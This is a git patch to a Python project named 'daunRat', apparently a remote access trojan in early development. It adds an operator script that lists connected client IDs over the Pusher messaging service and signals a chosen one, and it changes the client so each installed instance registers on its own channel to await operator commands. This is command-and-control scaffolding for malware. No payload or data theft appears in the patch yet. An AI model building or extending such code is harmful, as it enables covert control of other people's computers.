From d5d0892d16b1d589967847028bf7411089b4a823 Mon Sep 17 00:00:00 2001 From: BarsTiger Date: Fri, 22 Apr 2022 11:27:32 +0300 Subject: [PATCH] Added message on admin connected --- admin/admin_simulator/connect.py | 32 ++++++++++++++++++++++++++++++++ client/daunRat.py | 32 +++++++++++++++++++++----------- 2 files changed, 53 insertions(+), 11 deletions(-) create mode 100644 admin/admin_simulator/connect.py diff --git a/admin/admin_simulator/connect.py b/admin/admin_simulator/connect.py new file mode 100644 index 0000000..e23f45f --- /dev/null +++ b/admin/admin_simulator/connect.py @@ -0,0 +1,32 @@ +from env import * +import pusher +import pysher +import sys + + +client = pusher.Pusher( + app_id=app_id, + key=key, + secret=secret, + cluster=cluster, + ssl=True +) +receiver = pysher.Pusher(key=key, cluster=cluster) + + +def handle_connection_to_server(connection): + print("Connected to server") + print("Server returned: " + str(connection)) + print("Available client IDs: " + + str(list(client.channels_info(prefix_filter='admin-')['channels'])) + .replace('admin-', '').replace('[', '').replace(']', '').replace("'", '')) + client_id = int(input("Enter id to connect: ")) + client.trigger('admin-' + str(client_id), 'connection_from_admin', None) + print("Sent connection message to client") + + +if __name__ == '__main__': + receiver.connection.bind('pusher:connection_established', handle_connection_to_server) + receiver.connect() + while True: + pass diff --git a/client/daunRat.py b/client/daunRat.py index f91eb97..c26566e 100644 --- a/client/daunRat.py +++ b/client/daunRat.py @@ -1,28 +1,38 @@ from env import * import pusher import pysher +import json -sender = pusher.Pusher( + +client_id = int() + + +client = pusher.Pusher( app_id=app_id, key=key, secret=secret, cluster=cluster, ssl=True ) - - -def connect_handler(*args): - print("Connected to server") - channel = receiver.subscribe('test-doubler-sender') - print("id=", channel) - channel.bind('doubler', on_doubler) - - receiver = pysher.Pusher(key=key, cluster=cluster) + +def handle_connection_to_server(connection): + global client_id + print("Connected to server") + print("Server returned: " + str(connection)) + try: + client_id = str(int(list(client.channels_info(prefix_filter='admin-')['channels'])[-1].split('-')[-1]) + 1) + except IndexError: + client_id = '0' + channel = receiver.subscribe('admin-' + client_id) + print("Client id: " + client_id) + channel.bind('connection_from_admin', lambda _: print("Connection from admin")) + + if __name__ == '__main__': print("daunRat by ANONYMUSSSS") - receiver.connection.bind('pusher:connection_established', connect_handler) + receiver.connection.bind('pusher:connection_established', handle_connection_to_server) receiver.connect() while True: pass